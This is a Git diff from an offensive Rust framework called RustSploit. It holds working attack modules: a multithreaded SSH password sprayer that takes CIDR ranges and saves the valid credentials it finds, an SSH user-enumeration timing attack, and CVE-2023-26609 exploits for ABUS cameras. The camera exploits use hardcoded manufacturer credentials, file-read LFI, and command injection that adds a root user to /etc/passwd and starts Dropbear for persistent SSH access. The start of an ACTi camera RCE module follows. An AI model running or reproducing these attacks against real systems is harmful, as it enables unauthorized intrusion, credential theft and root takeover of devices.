failed: AtomicU64::new(0),
errors: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.errors.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful.fetch_add(1, Ordering::Relaxed);
} else {
self.failed.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful.load(Ordering::Relaxed);
let failed = self.failed.load(Ordering::Relaxed);
let errors = self.errors.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::stdout().flush();
}
fn print_summary(&self) {
println!();
println!("{}", "=== Spray Summary ===".cyan().bold());
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
}
}
/// Credential result
#[derive(Clone, Debug)]
pub struct SprayResult {
pub host: String,
pub port: u16,
pub username: String,
pub password: String,
}
/// Try SSH authentication
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse()?,
Duration::from_secs(timeout_secs),
)?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(username, password) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
/// Parse targets from string (CIDR, range, single IP)
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
let mut targets = Vec::new();
for s in spec.split(&[',', ' ', '\n'][..]) {
let s = s.trim();
if s.is_empty() {
continue;
}
// Try CIDR
if s.contains('/') {
if let Ok(network) = s.parse::<IpNetwork>() {
for ip in network.iter().take(65536) {
targets.push((ip.to_string(), port));
}
continue;
}
}
// Try IP range (e.g., 192.168.1.1-254)
if s.contains('-') && s.contains('.') {
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
if parts.len() == 2 {
if let Some((start_str, end_str)) = parts[0].split_once('-') {
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
let base = parts[1];
for i in start..=end {
targets.push((format!("{}.{}", base, i), port));
}
continue;
}
}
}
}
// Single IP/hostname
targets.push((s.to_string(), port));
}
targets
}
/// Load list from file
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let items: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(items)
}
/// Main spray function
pub async fn password_spray(
targets: Vec<(String, u16)>,
usernames: &[String],
password: &str,
threads: usize,
timeout_secs: u64,
) -> Vec<SprayResult> {
let total = targets.len() * usernames.len();
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
password, targets.len(), usernames.len(), total).cyan());
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(threads));
let stop = Arc::new(AtomicBool::new(false));
// Progress reporter
let stats_clone = Arc::clone(&stats);
let stop_clone = Arc::clone(&stop);
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Spray tasks
let mut handles = Vec::new();
for (host, port) in targets {
for user in usernames {
let semaphore = Arc::clone(&semaphore);
let results = Arc::clone(&results);
let stats = Arc::clone(&stats);
let host = host.clone();
let user = user.clone();
let password = password.to_string();
let handle = tokio::spawn(async move {
let _permit = semaphore.acquire().await.unwrap();
let host_clone = host.clone();
let user_clone = user.clone();
let pass_clone = password.clone();
let result = spawn_blocking(move || {
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
}).await;
match result {
Ok(Ok(true)) => {
stats.record_attempt(true, false);
let cred = SprayResult {
host: host.clone(),
port,
username: user.clone(),
password: password.clone(),
};
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
let _ = std::io::stdout().flush();
results.lock().await.push(cred);
}
Ok(Ok(false)) => {
stats.record_attempt(false, false);
}
_ => {
stats.record_attempt(false, true);
}
}
});
handles.push(handle);
}
}
// Wait for all tasks
for handle in handles {
let _ = handle.await;
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print summary
stats.print_summary();
let results = results.lock().await;
results.clone()
}
/// Save results to file
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
let mut file = File::create(path)?;
writeln!(file, "# SSH Password Spray Results")?;
writeln!(file, "# Generated by RustSploit")?;
writeln!(file, "# Total: {} credentials found", results.len())?;
writeln!(file)?;
for result in results {
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
}
println!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to spray
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "administrator", "ubuntu",
"guest", "test", "oracle", "postgres", "mysql",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Get password to spray
let password = prompt("Password to spray")?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
// Get port
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
// Get targets
let mut targets = Vec::new();
// Add initial target
let host = normalize_target(target);
if !host.is_empty() {
println!("{}", format!("[*] Initial target: {}", host).cyan());
targets.extend(parse_targets(&host, port));
}
// Get additional targets
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?;
if !more_targets.is_empty() {
targets.extend(parse_targets(&more_targets, port));
}
// Load from file?
if prompt_yes_no("Load targets from file?", false)? {
let file_path = prompt("File path")?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(file_targets) => {
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
for t in file_targets {
targets.extend(parse_targets(&t, port));
}
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Deduplicate targets
let unique: HashSet<_> = targets.into_iter().collect();
let targets: Vec<_> = unique.into_iter().collect();
if targets.is_empty() {
return Err(anyhow!("No targets specified"));
}
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false)? {
let file_path = prompt("Username file path")?;
if !file_path.is_empty() {
match load_list_from_file(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
// Get scan options
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
println!();
// Run spray
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
// Save results?
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
let output_path = prompt_default("Output file", "ssh_spray_results.txt")?;
if let Err(e) = save_results(&results, &output_path) {
println!("{}", format!("[-] Failed to save: {}", e).red());
}
}
println!();
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
Ok(())
}
-295
View File
@@ -1,295 +0,0 @@
//! SSH User Enumeration Module (Timing Attack)
//!
//! Based on SSHPWN framework - enumerates valid users via timing attack.
//! Inspired by CVE-2018-15473 style attacks.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
time::{Duration, Instant},
};
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_SAMPLES: usize = 3;
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ How it works: ║".cyan());
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Time a single authentication attempt
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(_) => return None,
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(_) => return None,
};
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() {
return None;
}
// Try authentication with invalid password
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
let _ = sess.userauth_password(username, &invalid_password);
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
}
/// Sample authentication timing for a username
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
times.push(t);
}
// Small delay between samples
std::thread::sleep(Duration::from_millis(100));
}
if times.is_empty() {
return None;
}
// Return average
Some(times.iter().sum::<f64>() / times.len() as f64)
}
/// Load usernames from file
fn load_usernames(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let usernames: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(usernames)
}
/// Enumerate valid users via timing attack
pub async fn enumerate_users(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
timeout_secs: u64,
threshold: f64,
) -> Vec<String> {
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
println!();
// Establish baseline with known-invalid user
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline timing...".cyan());
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
Some(t) => {
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
t
}
None => {
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
return Vec::new();
}
};
println!();
println!("{}", "[*] Testing usernames...".cyan());
let mut valid_users = Vec::new();
for (i, user) in usernames.iter().enumerate() {
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
let _ = std::io::stdout().flush();
match sample_auth_timing(host, port, user, samples, timeout_secs) {
Some(t) => {
let diff = t - baseline;
if diff.abs() > threshold {
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
None => {
// Connection failed, skip
}
}
}
println!();
println!("{}", "=== Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users found via timing attack".yellow());
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
} else {
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
valid_users
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to test
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "bin", "sys",
"nobody", "mysql", "postgres", "oracle", "ftp",
"ssh", "apache", "nginx", "tomcat", "redis",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target);
println!("{}", format!("[*] Target: {}", host).cyan());
// Get parameters
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES);
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Load usernames from file?", false)? {
let file_path = prompt("Username file path")?;
if !file_path.is_empty() {
match load_usernames(&file_path) {
Ok(loaded) => {
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
usernames.extend(loaded);
}
Err(e) => {
println!("{}", format!("[-] Failed to load file: {}", e).red());
}
}
}
}
// Add default usernames?
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
for user in DEFAULT_USERNAMES {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
println!();
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
println!();
// Run enumeration
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
// Save results?
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true)? {
let output_path = prompt_default("Output file", "valid_ssh_users.txt")?;
let mut file = File::create(&output_path)?;
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
for user in &valid_users {
writeln!(file, "{}", user)?;
}
println!("{}", format!("[+] Saved to: {}", output_path).green());
}
println!();
println!("{}", "[*] SSH user enumeration complete".green());
Ok(())
}
File diff suppressed because it is too large Load Diff
@@ -3,14 +3,16 @@
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
use anyhow::{anyhow, Result};
use colored::*;
// Cargo.toml:
// [dependencies]
// anyhow = "1.0"
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
// md5 = "0.7.0"
use anyhow::{Result, anyhow};
use md5;
use reqwest::Client;
use std::io::{self, Write};
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
fn format_host(raw: &str) -> String {
@@ -30,20 +32,11 @@ async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
host, filepath
);
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
println!("[*] Sending LFI request to: {}", url);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
@@ -54,27 +47,18 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
host, cmd
);
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
println!("[*] Sending RCE request to: {}", url);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Body:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Body:\n{}", body).red());
}
println!("[+] Status: {}", resp.status());
println!("[+] Body:\n{}", resp.text().await?);
Ok(())
}
/// Stage 1: Generate SSH key
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
println!("[*] Generating SSH key on target...");
exploit_rce(client, target, cmd).await
}
@@ -82,21 +66,21 @@ async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
println!("[*] MD5 hash of password: {}", hash);
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
);
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
println!("[*] Injecting root user into /etc/passwd...");
exploit_rce(client, target, &cmd).await
}
/// Stage 3: Start Dropbear SSH server
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
println!("[*] Starting Dropbear SSH server...");
exploit_rce(client, target, cmd).await
}
@@ -105,55 +89,40 @@ async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Re
generate_ssh_key(client, target).await?;
inject_root_user(client, target, password).await?;
start_dropbear(client, target).await?;
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
println!("[+] Persistence complete! You can now SSH in with:");
println!(
"{}",
format!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
).cyan()
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
password, target
);
Ok(())
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Prompt user for mode, and dispatch accordingly
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
println!("{}", "[*] Exploit mode selection:".cyan().bold());
println!(" {} LFI (Local File Inclusion)", "[1]".green());
println!(" {} RCE (Remote Code Execution)", "[2]".green());
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
print!("{}", "> ".cyan().bold());
println!("[*] Exploit mode selection for target: {}", target);
println!(" [1] LFI");
println!(" [2] RCE");
println!(" [3] SSH Persistence");
print!("> ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
print!("Enter file path to read (e.g. /etc/passwd): ");
io::stdout().flush()?;
let mut fp = String::new();
io::stdin().read_line(&mut fp)?;
exploit_lfi(&client, target, fp.trim()).await?;
}
"2" => {
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
print!("Enter command to execute (e.g. id): ");
io::stdout().flush()?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd)?;
@@ -161,7 +130,7 @@ async fn execute(target: &str) -> Result<()> {
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("{}", "Enter desired password for new root user: ".cyan().bold());
print!("Enter desired password for new root user: ");
io::stdout().flush()?;
let mut pwd = String::new();
io::stdin().read_line(&mut pwd)?;
@@ -171,10 +140,7 @@ async fn execute(target: &str) -> Result<()> {
}
persist_root_shell(&client, target, pwd).await?;
}
_ => {
println!("{}", "[-] Invalid choice".red());
return Err(anyhow!("Invalid choice"));
}
_ => return Err(anyhow!("Invalid choice")),
}
Ok(())
@@ -183,4 +149,5 @@ async fn execute(target: &str) -> Result<()> {
/// Entry point for the RustSploit dispatch system
pub async fn run(target: &str) -> Result<()> {
execute(target).await
}
}
@@ -1,15 +1,7 @@
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - SSH Root Persistence
// CVE: CVE-2023-26609
// Variant 2 - Dropbear SSH Persistence with custom username
use anyhow::Result;
use colored::*;
use md5;
use reqwest::Client;
use std::io::{self, Write};
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
use md5;
/// Normalize IPv6 targets, collapsing any number of outer brackets
/// and preserving an explicit port if one was given as `[...] : port`.
@@ -47,20 +39,11 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
normalized, cmd
);
println!("{}", format!("[*] Sending RCE payload: {}", cmd).cyan());
println!("[*] Sending RCE payload: {}", cmd);
let resp = client.get(&url).send().await?;
let status = resp.status();
let body = resp.text().await?;
if status.is_success() {
println!("{}", format!("[+] Status: {}", status).green());
println!("{}", "[+] Response:".green());
println!("{}", body);
} else {
println!("{}", format!("[-] Status: {}", status).red());
println!("{}", format!("[-] Response:\n{}", body).red());
}
println!("[+] Status: {}", resp.status());
println!("[+] Response:\n{}", resp.text().await?);
Ok(())
}
@@ -68,7 +51,7 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
/// Generate Dropbear SSH keys on the target system
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
println!("{}", "[*] Stage 1: Generating Dropbear SSH key...".yellow());
println!("[*] Generating Dropbear SSH key...");
exploit_rce(client, target, cmd).await
}
@@ -78,14 +61,14 @@ async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str)
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
user, hash
);
println!("{}", format!("[*] Stage 2: Injecting user '{}' with root privileges...", user).yellow());
println!("[*] Injecting user '{}' with root privileges...", user);
exploit_rce(client, target, &payload).await
}
/// Start Dropbear SSH daemon
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
println!("{}", "[*] Stage 3: Starting Dropbear SSH daemon...".yellow());
println!("[*] Starting Dropbear SSH daemon...");
exploit_rce(client, target, cmd).await
}
@@ -95,66 +78,40 @@ fn generate_md5_hash(password: &str) -> String {
format!("{:x}", digest)
}
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
println!("{}", "║ CVE-2023-26609 - Dropbear SSH Persistence ║".cyan());
println!("{}", "║ Variant 2 - Custom Username SSH Root Access ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Main interactive flow: get user/pass, hash it, and inject persistence
async fn execute_flow(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
println!("[*] Dropbear SSH persistence for target: {}", target);
print!("{}", "Enter username to inject: ".cyan().bold());
print!("Enter username to inject: ");
io::stdout().flush()?;
let mut user = String::new();
io::stdin().read_line(&mut user)?;
let user = user.trim();
if user.is_empty() {
println!("{}", "[-] Username cannot be empty".red());
return Err(anyhow::anyhow!("Username cannot be empty"));
}
print!("{}", "Enter password (will be hashed): ".cyan().bold());
print!("Enter password (will be hashed): ");
io::stdout().flush()?;
let mut pass = String::new();
io::stdin().read_line(&mut pass)?;
let pass = pass.trim();
if pass.is_empty() {
println!("{}", "[-] Password cannot be empty".red());
return Err(anyhow::anyhow!("Password cannot be empty"));
}
// Hash it!
let hash = generate_md5_hash(pass);
println!("{}", format!("[*] Generated MD5 hash: {}", hash).cyan());
println!();
println!("[*] Generated MD5 hash: {}", hash);
// Run each step
generate_ssh_key(&client, target).await?;
inject_root_user(&client, target, user, &hash).await?;
start_dropbear(&client, target).await?;
println!();
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
println!("\n[+] Done. Try connecting with:");
println!(
"{}",
format!(
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
).cyan()
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \
-oHostKeyAlgorithms=+ssh-rsa {}@{}",
pass, user, target
);
Ok(())
}
+22 -56
View File
@@ -1,72 +1,41 @@
use anyhow::{anyhow, Result};
use colored::*;
use reqwest::Client;
use std::io::{self, Write};
use std::time::Duration;
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// Reference:
/// - https://www.exploitalert.com/view-details.html?id=34128
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// // Executes an RCE on ACTi ACM-5611 Video Camera using command injection
/// // Reference:
/// // - https://www.exploitalert.com/view-details.html?id=34128
/// // - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
/// Exploit authors:
/// - Todor Donev <todor.donev@gmail.com>
/// - GH0st3rs (RouterSploit module)
const DEFAULT_PORT: u16 = 8080;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// // Exploit authors:
/// // - Todor Donev <todor.donev@gmail.com>
/// // - GH0st3rs (RouterSploit module)
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Prompt for port
print!("{}", format!("Enter target port (default {}): ", DEFAULT_PORT).cyan().bold());
io::stdout().flush()?;
let mut port_input = String::new();
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(DEFAULT_PORT);
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
let port = 8080; // // Default port
if check(target, port).await? {
